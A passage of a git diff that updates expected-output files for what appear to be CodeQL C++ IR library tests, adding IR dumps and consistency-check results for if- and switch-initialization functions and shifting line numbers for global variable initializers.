-| ir.cpp:1769:16:1769:23 | Address | &:r1769_4 |
-| ir.cpp:1769:16:1769:23 | ChiPartial | partial:m1769_6 |
-| ir.cpp:1769:16:1769:23 | ChiTotal | total:m1769_2 |
-| ir.cpp:1769:16:1769:23 | Load | ~m1769_2 |
-| ir.cpp:1769:16:1769:23 | StoreValue | r1769_5 |
+| ir.cpp:1757:6:1757:22 | ChiPartial | partial:m1757_3 |
+| ir.cpp:1757:6:1757:22 | ChiTotal | total:m1757_2 |
+| ir.cpp:1757:28:1757:28 | Address | &:r1757_5 |
+| ir.cpp:1785:6:1785:26 | ChiPartial | partial:m1785_3 |
+| ir.cpp:1785:6:1785:26 | ChiTotal | total:m1785_2 |
+| ir.cpp:1785:32:1785:32 | Address | &:r1785_5 |
+| ir.cpp:1821:5:1821:12 | Address | &:r1821_3 |
+| ir.cpp:1821:5:1821:12 | SideEffect | ~m1821_6 |
+| ir.cpp:1821:16:1821:16 | ChiPartial | partial:m1821_5 |
+| ir.cpp:1821:16:1821:16 | ChiTotal | total:m1821_2 |
+| ir.cpp:1821:16:1821:16 | StoreValue | r1821_4 |
+| ir.cpp:1825:18:1825:25 | Address | &:r1825_3 |
+| ir.cpp:1825:18:1825:25 | Arg(this) | this:r1825_3 |
+| ir.cpp:1825:18:1825:25 | SideEffect | ~m1825_10 |
+| ir.cpp:1825:27:1825:27 | Arg(0) | 0:r1825_5 |
+| ir.cpp:1825:27:1825:28 | CallTarget | func:r1825_4 |
+| ir.cpp:1825:27:1825:28 | ChiPartial | partial:m1825_7 |
+| ir.cpp:1825:27:1825:28 | ChiPartial | partial:m1825_9 |
+| ir.cpp:1825:27:1825:28 | ChiTotal | total:m1825_2 |
+| ir.cpp:1825:27:1825:28 | ChiTotal | total:m1825_8 |
+| ir.cpp:1825:27:1825:28 | SideEffect | ~m1825_2 |
+| ir.cpp:1827:18:1827:25 | Address | &:r1827_3 |
+| ir.cpp:1827:18:1827:25 | Arg(this) | this:r1827_3 |
+| ir.cpp:1827:18:1827:25 | SideEffect | ~m1827_10 |
+| ir.cpp:1827:28:1827:47 | CallTarget | func:r1827_4 |
+| ir.cpp:1827:28:1827:47 | ChiPartial | partial:m1827_7 |
+| ir.cpp:1827:28:1827:47 | ChiPartial | partial:m1827_9 |
+| ir.cpp:1827:28:1827:47 | ChiTotal | total:m1827_2 |
+| ir.cpp:1827:28:1827:47 | ChiTotal | total:m1827_8 |
+| ir.cpp:1827:28:1827:47 | SideEffect | ~m1827_2 |
+| ir.cpp:1827:46:1827:46 | Arg(0) | 0:r1827_5 |
+| ir.cpp:1829:7:1829:19 | Address | &:r1829_3 |
+| ir.cpp:1829:7:1829:19 | SideEffect | ~m1829_8 |
+| ir.cpp:1829:23:1829:37 | ChiPartial | partial:m1829_7 |
+| ir.cpp:1829:23:1829:37 | ChiTotal | total:m1829_2 |
+| ir.cpp:1829:23:1829:37 | StoreValue | r1829_6 |
+| ir.cpp:1829:23:1829:37 | Unary | r1829_4 |
+| ir.cpp:1829:23:1829:37 | Unary | r1829_5 |
+| ir.cpp:1831:5:1831:12 | Address | &:r1831_3 |
+| ir.cpp:1831:5:1831:12 | SideEffect | ~m1831_7 |
+| ir.cpp:1831:16:1831:23 | Address | &:r1831_4 |
+| ir.cpp:1831:16:1831:23 | ChiPartial | partial:m1831_6 |
+| ir.cpp:1831:16:1831:23 | ChiTotal | total:m1831_2 |
+| ir.cpp:1831:16:1831:23 | Load | ~m1831_2 |
+| ir.cpp:1831:16:1831:23 | StoreValue | r1831_5 |
 | perf-regression.cpp:6:3:6:5 | Address | &:r6_5 |
 | perf-regression.cpp:6:3:6:5 | Address | &:r6_5 |
 | perf-regression.cpp:6:3:6:5 | Address | &:r6_7 |
diff --git a/cpp/ql/test/library-tests/ir/ir/raw_consistency.expected b/cpp/ql/test/library-tests/ir/ir/raw_consistency.expected
index cc50472385b..810092da715 100644
--- a/cpp/ql/test/library-tests/ir/ir/raw_consistency.expected
+++ b/cpp/ql/test/library-tests/ir/ir/raw_consistency.expected
@@ -1,4 +1,8 @@
 missingOperand
+| ir.cpp:1758:9:1758:24 | CopyValue: (condition decl) | Instruction 'CopyValue' is missing an expected operand with tag 'Unary' in function '$@'. | ir.cpp:1757:6:1757:22 | void if_initialization(int) | void if_initialization(int) |
+| ir.cpp:1763:14:1763:20 | CopyValue: (condition decl) | Instruction 'CopyValue' is missing an expected operand with tag 'Unary' in function '$@'. | ir.cpp:1757:6:1757:22 | void if_initialization(int) | void if_initialization(int) |
+| ir.cpp:1786:13:1786:28 | CopyValue: (condition decl) | Instruction 'CopyValue' is missing an expected operand with tag 'Unary' in function '$@'. | ir.cpp:1785:6:1785:26 | void switch_initialization(int) | void switch_initialization(int) |
+| ir.cpp:1792:18:1792:24 | CopyValue: (condition decl) | Instruction 'CopyValue' is missing an expected operand with tag 'Unary' in function '$@'. | ir.cpp:1785:6:1785:26 | void switch_initialization(int) | void switch_initialization(int) |
 unexpectedOperand
 duplicateOperand
 missingPhiOperand
@@ -7,6 +11,14 @@ duplicateChiOperand
 sideEffectWithoutPrimary
 instructionWithoutSuccessor
 | ../../../include/memory.h:68:25:68:33 | CopyValue: (reference to) | Instruction 'CopyValue: (reference to)' has no successors in function '$@'. | ../../../include/memory.h:67:5:67:5 | void std::unique_ptr<int, std::default_delete<int>>::~unique_ptr() | void std::unique_ptr<int, std::default_delete<int>>::~unique_ptr() |
+| ir.cpp:1757:28:1757:28 | InitializeParameter: x | Instruction 'InitializeParameter: x' has no successors in function '$@'. | ir.cpp:1757:6:1757:22 | void if_initialization(int) | void if_initialization(int) |
+| ir.cpp:1758:20:1758:24 | CompareNE: (bool)... | Instruction 'CompareNE: (bool)...' has no successors in function '$@'. | ir.cpp:1757:6:1757:22 | void if_initialization(int) | void if_initialization(int) |
+| ir.cpp:1762:9:1762:9 | Uninitialized: definition of w | Instruction 'Uninitialized: definition of w' has no successors in function '$@'. | ir.cpp:1757:6:1757:22 | void if_initialization(int) | void if_initialization(int) |
+| ir.cpp:1763:16:1763:20 | CompareNE: (bool)... | Instruction 'CompareNE: (bool)...' has no successors in function '$@'. | ir.cpp:1757:6:1757:22 | void if_initialization(int) | void if_initialization(int) |
+| ir.cpp:1785:32:1785:32 | InitializeParameter: x | Instruction 'InitializeParameter: x' has no successors in function '$@'. | ir.cpp:1785:6:1785:26 | void switch_initialization(int) | void switch_initialization(int) |
+| ir.cpp:1786:24:1786:28 | Add: ... + ... | Instruction 'Add: ... + ...' has no successors in function '$@'. | ir.cpp:1785:6:1785:26 | void switch_initialization(int) | void switch_initialization(int) |
+| ir.cpp:1791:9:1791:9 | Uninitialized: definition of w | Instruction 'Uninitialized: definition of w' has no successors in function '$@'. | ir.cpp:1785:6:1785:26 | void switch_initialization(int) | void switch_initialization(int) |
+| ir.cpp:1792:20:1792:24 | Add: ... + ... | Instruction 'Add: ... + ...' has no successors in function '$@'. | ir.cpp:1785:6:1785:26 | void switch_initialization(int) | void switch_initialization(int) |
 ambiguousSuccessors
 unexplainedLoop
 unnecessaryPhiInstruction
@@ -28,6 +40,12 @@ nonUniqueEnclosingIRFunction
 fieldAddressOnNonPointer
 thisArgumentIsNonPointer
 nonUniqueIRVariable
+| ir.cpp:1759:17:1759:17 | VariableAddress: y | Variable address instruction 'VariableAddress: y' has no associated variable, in function '$@'. | ir.cpp:1757:6:1757:22 | void if_initialization(int) | void if_initialization(int) |
+| ir.cpp:1771:29:1771:29 | VariableAddress: v | Variable address instruction 'VariableAddress: v' has no associated variable, in function '$@'. | ir.cpp:1757:6:1757:22 | void if_initialization(int) | void if_initialization(int) |
+| ir.cpp:1772:17:1772:17 | VariableAddress: v | Variable address instruction 'VariableAddress: v' has no associated variable, in function '$@'. | ir.cpp:1757:6:1757:22 | void if_initialization(int) | void if_initialization(int) |
+| ir.cpp:1788:17:1788:17 | VariableAddress: y | Variable address instruction 'VariableAddress: y' has no associated variable, in function '$@'. | ir.cpp:1785:6:1785:26 | void switch_initialization(int) | void switch_initialization(int) |
+| ir.cpp:1802:33:1802:33 | VariableAddress: v | Variable address instruction 'VariableAddress: v' has no associated variable, in function '$@'. | ir.cpp:1785:6:1785:26 | void switch_initialization(int) | void switch_initialization(int) |
+| ir.cpp:1804:17:1804:17 | VariableAddress: v | Variable address instruction 'VariableAddress: v' has no associated variable, in function '$@'. | ir.cpp:1785:6:1785:26 | void switch_initialization(int) | void switch_initialization(int) |
 missingCanonicalLanguageType
 multipleCanonicalLanguageTypes
 missingIRType
diff --git a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected
index a5bcb235446..23a7babc897 100644
--- a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected
+++ b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected
@@ -9431,69 +9431,359 @@ ir.cpp:
 # 1750|     v1750_6(void)       = AliasedUse               : ~m?
 # 1750|     v1750_7(void)       = ExitFunction             : 
 
-# 1759| int global_2
-# 1759|   Block 0
-# 1759|     v1759_1(void)       = EnterFunction             : 
-# 1759|     mu1759_2(unknown)   = AliasedDefinition         : 
-# 1759|     r1759_3(glval<int>) = VariableAddress[global_2] : 
-# 1759|     r1759_4(int)        = Constant[1]               : 
-# 1759|     mu1759_5(int)       = Store[global_2]           : &:r1759_3, r1759_4
-# 1759|     v1759_6(void)       = ReturnVoid                : 
-# 1759|     v1759_7(void)       = AliasedUse                : ~m?
-# 1759|     v1759_8(void)       = ExitFunction              : 
+# 1757| void if_initialization(int)
+# 1758|   (no string representation)
+# 1758|     CopyValue: (condition decl)
+# 1758|     ConditionalBranch: (condition decl)
+#-----|   False -> Block 4
+#-----|   True -> Block 3
 
-# 1763| constructor_only global_4
-# 1763|   Block 0
-# 1763|     v1763_1(void)                    = EnterFunction                     : 
-# 1763|     mu1763_2(unknown)                = AliasedDefinition                 : 
-# 1763|     r1763_3(glval<constructor_only>) = VariableAddress[global_4]         : 
-# 1763|     r1763_4(glval<unknown>)          = FunctionAddress[constructor_only] : 
-# 1763|     r1763_5(int)                     = Constant[1]                       : 
-# 1763|     v1763_6(void)                    = Call[constructor_only]            : func:r1763_4, this:r1763_3, 0:r1763_5
-# 1763|     mu1763_7(unknown)                = ^CallSideEffect                   : ~m?
-# 1763|     mu1763_8(constructor_only)       = ^IndirectMayWriteSideEffect[-1]   : &:r1763_3
-# 1763|     v1763_9(void)                    = ReturnVoid                        : 
-# 1763|     v1763_10(void)                   = AliasedUse                        : ~m?
-# 1763|     v1763_11(void)                   = ExitFunction                      : 
+# 1763|   (no string representation)
+# 1763|     CopyValue: (condition decl)
+# 1763|     ConditionalBranch: (condition decl)
+#-----|   False -> Block 6
+#-----|   True -> Block 5
 
-# 1765| constructor_only global_5
-# 1765|   Block 0
-# 1765|     v1765_1(void)                    = EnterFunction                     : 
-# 1765|     mu1765_2(unknown)                = AliasedDefinition                 : 
-# 1765|     r1765_3(glval<constructor_only>) = VariableAddress[global_5]         : 
-# 1765|     r1765_4(glval<unknown>)          = FunctionAddress[constructor_only] : 
-# 1765|     r1765_5(int)                     = Constant[2]                       : 
-# 1765|     v1765_6(void)                    = Call[constructor_only]            : func:r1765_4, this:r1765_3, 0:r1765_5
-# 1765|     mu1765_7(unknown)                = ^CallSideEffect                   : ~m?
-# 1765|     mu1765_8(constructor_only)       = ^IndirectMayWriteSideEffect[-1]   : &:r1765_3
-# 1765|     v1765_9(void)                    = ReturnVoid                        : 
-# 1765|     v1765_10(void)                   = AliasedUse                        : ~m?
-# 1765|     v1765_11(void)                   = ExitFunction                      : 
+# 1757|   Block 0
+# 1757|     v1757_1(void)       = EnterFunction          : 
+# 1757|     mu1757_2(unknown)   = AliasedDefinition      : 
+# 1757|     mu1757_3(unknown)   = InitializeNonLocal     : 
+# 1757|     r1757_4(glval<int>) = VariableAddress[x]     : 
+# 1757|     mu1757_5(int)       = InitializeParameter[x] : &:r1757_4
 
-# 1767| char* global_string
-# 1767|   Block 0
-# 1767|     v1767_1(void)            = EnterFunction                   : 
-# 1767|     mu1767_2(unknown)        = AliasedDefinition               : 
-# 1767|     r1767_3(glval<char *>)   = VariableAddress[global_string]  : 
-# 1767|     r1767_4(glval<char[14]>) = StringConstant["global string"] : 
-# 1767|     r1767_5(char *)          = Convert                         : r1767_4
-# 1767|     r1767_6(char *)          = Convert                         : r1767_5
-# 1767|     mu1767_7(char *)         = Store[global_string]            : &:r1767_3, r1767_6
-# 1767|     v1767_8(void)            = ReturnVoid                      : 
-# 1767|     v1767_9(void)            = AliasedUse                      : ~m?
-# 1767|     v1767_10(void)           = ExitFunction                    : 
+# 1758|   Block 1
+# 1758|     r1758_1(glval<int>) = VariableAddress[x] : 
+# 1758|     r1758_2(int)        = Load[x]            : &:r1758_1, ~m?
+# 1758|     r1758_3(int)        = Constant[1]        : 
+# 1758|     r1758_4(int)        = Add                : r1758_2, r1758_3
+# 1758|     r1758_5(int)        = Constant[0]        : 
+# 1758|     r1758_6(bool)       = CompareNE          : r1758_4, r1758_5
 
-# 1769| int global_6
-# 1769|   Block 0
-# 1769|     v1769_1(void)       = EnterFunction             : 
-# 1769|     mu1769_2(unknown)   = AliasedDefinition         : 
-# 1769|     r1769_3(glval<int>) = VariableAddress[global_6] : 
-# 1769|     r1769_4(glval<int>) = VariableAddress[global_2] : 
-# 1769|     r1769_5(int)        = Load[global_2]            : &:r1769_4, ~m?
-# 1769|     mu1769_6(int)       = Store[global_6]           : &:r1769_3, r1769_5
-# 1769|     v1769_7(void)       = ReturnVoid                : 
-# 1769|     v1769_8(void)       = AliasedUse                : ~m?
-# 1769|     v1769_9(void)       = ExitFunction              : 
+# 1763|   Block 1
+# 1763|     r1763_1(glval<int>) = VariableAddress[x] : 
+# 1763|     r1763_2(int)        = Load[x]            : &:r1763_1, ~m?
+# 1763|     r1763_3(int)        = Constant[1]        : 
+# 1763|     r1763_4(int)        = Add                : r1763_2, r1763_3
+# 1763|     r1763_5(int)        = Constant[0]        : 
+# 1763|     r1763_6(bool)       = CompareNE          : r1763_4, r1763_5
+
+# 1759|   Block 3
+# 1759|     r1759_1(glval<int>) = VariableAddress[x] : 
+# 1759|     r1759_2(int)        = Load[x]            : &:r1759_1, ~m?
+# 1759|     r1759_3(glval<int>) = VariableAddress    : 
+# 1759|     r1759_4(int)        = Load[?]            : &:r1759_3, ~m?
+# 1759|     r1759_5(int)        = Add                : r1759_2, r1759_4
+# 1759|     r1759_6(glval<int>) = VariableAddress[x] : 
+# 1759|     mu1759_7(int)       = Store[x]           : &:r1759_6, r1759_5
+#-----|   Goto -> Block 4
+
+# 1762|   Block 4
+# 1762|     r1762_1(glval<int>) = VariableAddress[w] : 
+# 1762|     mu1762_2(int)       = Uninitialized[w]   : &:r1762_1
+
+# 1764|   Block 5
+# 1764|     r1764_1(glval<int>) = VariableAddress[x] : 
+# 1764|     r1764_2(int)        = Load[x]            : &:r1764_1, ~m?
+# 1764|     r1764_3(glval<int>) = VariableAddress[w] : 
+# 1764|     r1764_4(int)        = Load[w]            : &:r1764_3, ~m?
+# 1764|     r1764_5(int)        = Add                : r1764_2, r1764_4
+# 1764|     r1764_6(glval<int>) = VariableAddress[x] : 
+# 1764|     mu1764_7(int)       = Store[x]           : &:r1764_6, r1764_5
+#-----|   Goto -> Block 6
+
+# 1767|   Block 6
+# 1767|     r1767_1(glval<int>) = VariableAddress[w2] : 
+# 1767|     r1767_2(glval<int>) = VariableAddress[w]  : 
+# 1767|     r1767_3(int)        = Load[w]             : &:r1767_2, ~m?
+# 1767|     mu1767_4(int)       = Store[w2]           : &:r1767_1, r1767_3
+# 1767|     r1767_5(glval<int>) = VariableAddress[w2] : 
+# 1767|     r1767_6(int)        = Load[w2]            : &:r1767_5, ~m?
+# 1767|     r1767_7(int)        = Constant[0]         : 
+# 1767|     r1767_8(bool)       = CompareNE           : r1767_6, r1767_7
+# 1767|     r1767_9(bool)       = CopyValue           : r1767_8
+# 1767|     v1767_10(void)      = ConditionalBranch   : r1767_9
+#-----|   False -> Block 8
+#-----|   True -> Block 7
+
+# 1768|   Block 7
+# 1768|     r1768_1(glval<int>) = VariableAddress[x] : 
+# 1768|     r1768_2(int)        = Load[x]            : &:r1768_1, ~m?
+# 1768|     r1768_3(glval<int>) = VariableAddress[w] : 
+# 1768|     r1768_4(int)        = Load[w]            : &:r1768_3, ~m?
+# 1768|     r1768_5(int)        = Add                : r1768_2, r1768_4
+# 1768|     r1768_6(glval<int>) = VariableAddress[x] : 
+# 1768|     mu1768_7(int)       = Store[x]           : &:r1768_6, r1768_5
+#-----|   Goto -> Block 8
+
+# 1771|   Block 8
+# 1771|     r1771_1(glval<int>) = VariableAddress[v2] : 
+# 1771|     r1771_2(glval<int>) = VariableAddress     : 
+# 1771|     r1771_3(int)        = Load[?]             : &:r1771_2, ~m?
+# 1771|     mu1771_4(int)       = Store[v2]           : &:r1771_1, r1771_3
+# 1771|     r1771_5(glval<int>) = VariableAddress[v2] : 
+# 1771|     r1771_6(int)        = Load[v2]            : &:r1771_5, ~m?
+# 1771|     r1771_7(int)        = Constant[0]         : 
+# 1771|     r1771_8(bool)       = CompareNE           : r1771_6, r1771_7
+# 1771|     r1771_9(bool)       = CopyValue           : r1771_8
+# 1771|     v1771_10(void)      = ConditionalBranch   : r1771_9
+#-----|   False -> Block 10
+#-----|   True -> Block 9
+
+# 1772|   Block 9
+# 1772|     r1772_1(glval<int>) = VariableAddress[x] : 
+# 1772|     r1772_2(int)        = Load[x]            : &:r1772_1, ~m?
+# 1772|     r1772_3(glval<int>) = VariableAddress    : 
+# 1772|     r1772_4(int)        = Load[?]            : &:r1772_3, ~m?
+# 1772|     r1772_5(int)        = Add                : r1772_2, r1772_4
+# 1772|     r1772_6(glval<int>) = VariableAddress[x] : 
+# 1772|     mu1772_7(int)       = Store[x]           : &:r1772_6, r1772_5
+#-----|   Goto -> Block 10
+
+# 1775|   Block 10
+# 1775|     r1775_1(glval<int>) = VariableAddress[z] : 
+# 1775|     r1775_2(glval<int>) = VariableAddress[x] : 
+# 1775|     r1775_3(int)        = Load[x]            : &:r1775_2, ~m?
+# 1775|     mu1775_4(int)       = Store[z]           : &:r1775_1, r1775_3
+# 1776|     r1776_1(glval<int>) = VariableAddress[z] : 
+# 1776|     r1776_2(int)        = Load[z]            : &:r1776_1, ~m?
+# 1776|     r1776_3(int)        = Constant[0]        : 
+# 1776|     r1776_4(bool)       = CompareNE          : r1776_2, r1776_3
+# 1776|     v1776_5(void)       = ConditionalBranch  : r1776_4
+#-----|   False -> Block 12
+#-----|   True -> Block 11
+
+# 1777|   Block 11
+# 1777|     r1777_1(glval<int>) = VariableAddress[x] : 
+# 1777|     r1777_2(int)        = Load[x]            : &:r1777_1, ~m?
+# 1777|     r1777_3(glval<int>) = VariableAddress[z] : 
+# 1777|     r1777_4(int)        = Load[z]            : &:r1777_3, ~m?
+# 1777|     r1777_5(int)        = Add                : r1777_2, r1777_4
+# 1777|     r1777_6(glval<int>) = VariableAddress[x] : 
+# 1777|     mu1777_7(int)       = Store[x]           : &:r1777_6, r1777_5
+#-----|   Goto -> Block 12
+
+# 1780|   Block 12
+# 1780|     r1780_1(glval<int>) = VariableAddress[z2] : 
+# 1780|     r1780_2(glval<int>) = VariableAddress[z]  : 
+# 1780|     r1780_3(int)        = Load[z]             : &:r1780_2, ~m?
+# 1780|     mu1780_4(int)       = Store[z2]           : &:r1780_1, r1780_3
+# 1780|     r1780_5(glval<int>) = VariableAddress[z2] : 
+# 1780|     r1780_6(int)        = Load[z2]            : &:r1780_5, ~m?
+# 1780|     r1780_7(int)        = Constant[0]         : 
+# 1780|     r1780_8(bool)       = CompareNE           : r1780_6, r1780_7
+# 1780|     r1780_9(bool)       = CopyValue           : r1780_8
+# 1780|     v1780_10(void)      = ConditionalBranch   : r1780_9
+#-----|   False -> Block 14
+#-----|   True -> Block 13
+
+# 1781|   Block 13
+# 1781|     r1781_1(glval<int>) = VariableAddress[z2] : 
+# 1781|     r1781_2(int)        = Load[z2]            : &:r1781_1, ~m?
+# 1781|     r1781_3(glval<int>) = VariableAddress[x]  : 
+# 1781|     r1781_4(int)        = Load[x]             : &:r1781_3, ~m?
+# 1781|     r1781_5(int)        = Add                 : r1781_4, r1781_2
+# 1781|     mu1781_6(int)       = Store[x]            : &:r1781_3, r1781_5
+#-----|   Goto -> Block 14
+
+# 1783|   Block 14
+# 1783|     v1783_1(void) = NoOp         : 
+# 1757|     v1757_6(void) = ReturnVoid   : 
+# 1757|     v1757_7(void) = AliasedUse   : ~m?
+# 1757|     v1757_8(void) = ExitFunction : 
+
+# 1785| void switch_initialization(int)
+# 1786|   (no string representation)
+# 1786|     CopyValue: (condition decl)
+# 1786|     Switch: switch (...) ... 
+#-----|   Default -> Block 3
+
+# 1792|   (no string representation)
+# 1792|     CopyValue: (condition decl)
+# 1792|     Switch: switch (...) ... 
+#-----|   Default -> Block 4
+
+# 1785|   Block 0
+# 1785|     v1785_1(void)       = EnterFunction          : 
+# 1785|     mu1785_2(unknown)   = AliasedDefinition      : 
+# 1785|     mu1785_3(unknown)   = InitializeNonLocal     : 
+# 1785|     r1785_4(glval<int>) = VariableAddress[x]     : 
+# 1785|     mu1785_5(int)       = InitializeParameter[x] : &:r1785_4
+
+# 1786|   Block 1
+# 1786|     r1786_1(glval<int>) = VariableAddress[x] : 
+# 1786|     r1786_2(int)        = Load[x]            : &:r1786_1, ~m?
+# 1786|     r1786_3(int)        = Constant[1]        : 
+# 1786|     r1786_4(int)        = Add                : r1786_2, r1786_3
+
+# 1792|   Block 1
+# 1792|     r1792_1(glval<int>) = VariableAddress[x] : 
+# 1792|     r1792_2(int)        = Load[x]            : &:r1792_1, ~m?
+# 1792|     r1792_3(int)        = Constant[1]        : 
+# 1792|     r1792_4(int)        = Add                : r1792_2, r1792_3
+
+# 1787|   Block 3
+# 1787|     v1787_1(void)       = NoOp               : 
+# 1788|     r1788_1(glval<int>) = VariableAddress[x] : 
+# 1788|     r1788_2(int)        = Load[x]            : &:r1788_1, ~m?
+# 1788|     r1788_3(glval<int>) = VariableAddress    : 
+# 1788|     r1788_4(int)        = Load[?]            : &:r1788_3, ~m?
+# 1788|     r1788_5(int)        = Add                : r1788_2, r1788_4
+# 1788|     r1788_6(glval<int>) = VariableAddress[x] : 
+# 1788|     mu1788_7(int)       = Store[x]           : &:r1788_6, r1788_5
+# 1791|     r1791_1(glval<int>) = VariableAddress[w] : 
+# 1791|     mu1791_2(int)       = Uninitialized[w]   : &:r1791_1
+
+# 1793|   Block 4
+# 1793|     v1793_1(void)       = NoOp                : 
+# 1794|     r1794_1(glval<int>) = VariableAddress[x]  : 
+# 1794|     r1794_2(int)        = Load[x]             : &:r1794_1, ~m?
+# 1794|     r1794_3(glval<int>) = VariableAddress[w]  : 
+# 1794|     r1794_4(int)        = Load[w]             : &:r1794_3, ~m?
+# 1794|     r1794_5(int)        = Add                 : r1794_2, r1794_4
+# 1794|     r1794_6(glval<int>) = VariableAddress[x]  : 
+# 1794|     mu1794_7(int)       = Store[x]            : &:r1794_6, r1794_5
+# 1797|     r1797_1(glval<int>) = VariableAddress[w2] : 
+# 1797|     r1797_2(glval<int>) = VariableAddress[w]  : 
+# 1797|     r1797_3(int)        = Load[w]             : &:r1797_2, ~m?
+# 1797|     mu1797_4(int)       = Store[w2]           : &:r1797_1, r1797_3
+# 1797|     r1797_5(glval<int>) = VariableAddress[w2] : 
+# 1797|     r1797_6(int)        = Load[w2]            : &:r1797_5, ~m?
+# 1797|     r1797_7(int)        = CopyValue           : r1797_6
+# 1797|     v1797_8(void)       = Switch              : r1797_7
+#-----|   Default -> Block 5
+
+# 1798|   Block 5
+# 1798|     v1798_1(void)       = NoOp                : 
+# 1799|     r1799_1(glval<int>) = VariableAddress[x]  : 
+# 1799|     r1799_2(int)        = Load[x]             : &:r1799_1, ~m?
+# 1799|     r1799_3(glval<int>) = VariableAddress[w]  : 
+# 1799|     r1799_4(int)        = Load[w]             : &:r1799_3, ~m?
+# 1799|     r1799_5(int)        = Add                 : r1799_2, r1799_4
+# 1799|     r1799_6(glval<int>) = VariableAddress[x]  : 
+# 1799|     mu1799_7(int)       = Store[x]            : &:r1799_6, r1799_5
+# 1802|     r1802_1(glval<int>) = VariableAddress[v2] : 
+# 1802|     r1802_2(glval<int>) = VariableAddress     : 
+# 1802|     r1802_3(int)        = Load[?]             : &:r1802_2, ~m?
+# 1802|     mu1802_4(int)       = Store[v2]           : &:r1802_1, r1802_3
+# 1802|     r1802_5(glval<int>) = VariableAddress[v2] : 
+# 1802|     r1802_6(int)        = Load[v2]            : &:r1802_5, ~m?
+# 1802|     r1802_7(int)        = CopyValue           : r1802_6
+# 1802|     v1802_8(void)       = Switch              : r1802_7
+#-----|   Default -> Block 6
+
+# 1803|   Block 6
+# 1803|     v1803_1(void)       = NoOp               : 
+# 1804|     r1804_1(glval<int>) = VariableAddress[x] : 
+# 1804|     r1804_2(int)        = Load[x]            : &:r1804_1, ~m?
+# 1804|     r1804_3(glval<int>) = VariableAddress    : 
+# 1804|     r1804_4(int)        = Load[?]            : &:r1804_3, ~m?
+# 1804|     r1804_5(int)        = Add                : r1804_2, r1804_4
+# 1804|     r1804_6(glval<int>) = VariableAddress[x] : 
+# 1804|     mu1804_7(int)       = Store[x]           : &:r1804_6, r1804_5
+# 1807|     r1807_1(glval<int>) = VariableAddress[z] : 
+# 1807|     r1807_2(glval<int>) = VariableAddress[x] : 
+# 1807|     r1807_3(int)        = Load[x]            : &:r1807_2, ~m?
+# 1807|     mu1807_4(int)       = Store[z]           : &:r1807_1, r1807_3
+# 1808|     r1808_1(glval<int>) = VariableAddress[z] : 
+# 1808|     r1808_2(int)        = Load[z]            : &:r1808_1, ~m?
+# 1808|     v1808_3(void)       = Switch             : r1808_2
+#-----|   Default -> Block 7
+
+# 1809|   Block 7
+# 1809|     v1809_1(void)       = NoOp                : 
+# 1810|     r1810_1(glval<int>) = VariableAddress[x]  : 
+# 1810|     r1810_2(int)        = Load[x]             : &:r1810_1, ~m?
+# 1810|     r1810_3(glval<int>) = VariableAddress[z]  : 
+# 1810|     r1810_4(int)        = Load[z]             : &:r1810_3, ~m?
+# 1810|     r1810_5(int)        = Add                 : r1810_2, r1810_4
+# 1810|     r1810_6(glval<int>) = VariableAddress[x]  : 
+# 1810|     mu1810_7(int)       = Store[x]            : &:r1810_6, r1810_5
+# 1813|     r1813_1(glval<int>) = VariableAddress[z2] : 
+# 1813|     r1813_2(glval<int>) = VariableAddress[z]  : 
+# 1813|     r1813_3(int)        = Load[z]             : &:r1813_2, ~m?
+# 1813|     mu1813_4(int)       = Store[z2]           : &:r1813_1, r1813_3
+# 1813|     r1813_5(glval<int>) = VariableAddress[z2] : 
+# 1813|     r1813_6(int)        = Load[z2]            : &:r1813_5, ~m?
+# 1813|     r1813_7(int)        = CopyValue           : r1813_6
+# 1813|     v1813_8(void)       = Switch              : r1813_7
+#-----|   Default -> Block 8
+
+# 1814|   Block 8
+# 1814|     v1814_1(void)       = NoOp                : 
+# 1815|     r1815_1(glval<int>) = VariableAddress[z2] : 
+# 1815|     r1815_2(int)        = Load[z2]            : &:r1815_1, ~m?
+# 1815|     r1815_3(glval<int>) = VariableAddress[x]  : 
+# 1815|     r1815_4(int)        = Load[x]             : &:r1815_3, ~m?
+# 1815|     r1815_5(int)        = Add                 : r1815_4, r1815_2
+# 1815|     mu1815_6(int)       = Store[x]            : &:r1815_3, r1815_5
+# 1817|     v1817_1(void)       = NoOp                : 
+# 1785|     v1785_6(void)       = ReturnVoid          : 
+# 1785|     v1785_7(void)       = AliasedUse          : ~m?
+# 1785|     v1785_8(void)       = ExitFunction        : 
+
+# 1821| int global_2
+# 1821|   Block 0
+# 1821|     v1821_1(void)       = EnterFunction             : 
+# 1821|     mu1821_2(unknown)   = AliasedDefinition         : 
+# 1821|     r1821_3(glval<int>) = VariableAddress[global_2] : 
+# 1821|     r1821_4(int)        = Constant[1]               : 
+# 1821|     mu1821_5(int)       = Store[global_2]           : &:r1821_3, r1821_4
+# 1821|     v1821_6(void)       = ReturnVoid                : 
+# 1821|     v1821_7(void)       = AliasedUse                : ~m?
+# 1821|     v1821_8(void)       = ExitFunction              : 
+
+# 1825| constructor_only global_4
+# 1825|   Block 0
+# 1825|     v1825_1(void)                    = EnterFunction                     : 
+# 1825|     mu1825_2(unknown)                = AliasedDefinition                 : 
+# 1825|     r1825_3(glval<constructor_only>) = VariableAddress[global_4]         : 
+# 1825|     r1825_4(glval<unknown>)          = FunctionAddress[constructor_only] : 
+# 1825|     r1825_5(int)                     = Constant[1]                       : 
+# 1825|     v1825_6(void)                    = Call[constructor_only]            : func:r1825_4, this:r1825_3, 0:r1825_5
+# 1825|     mu1825_7(unknown)                = ^CallSideEffect                   : ~m?
+# 1825|     mu1825_8(constructor_only)       = ^IndirectMayWriteSideEffect[-1]   : &:r1825_3
+# 1825|     v1825_9(void)                    = ReturnVoid                        : 
+# 1825|     v1825_10(void)                   = AliasedUse                        : ~m?
+# 1825|     v1825_11(void)                   = ExitFunction                      : 
+
+# 1827| constructor_only global_5
+# 1827|   Block 0
+# 1827|     v1827_1(void)                    = EnterFunction                     : 
+# 1827|     mu1827_2(unknown)                = AliasedDefinition                 : 
+# 1827|     r1827_3(glval<constructor_only>) = VariableAddress[global_5]         : 
+# 1827|     r1827_4(glval<unknown>)          = FunctionAddress[constructor_only] : 
+# 1827|     r1827_5(int)                     = Constant[2]                       : 
+# 1827|     v1827_6(void)                    = Call[constructor_only]            : func:r1827_4, this:r1827_3, 0:r1827_5
+# 1827|     mu1827_7(unknown)                = ^CallSideEffect                   : ~m?
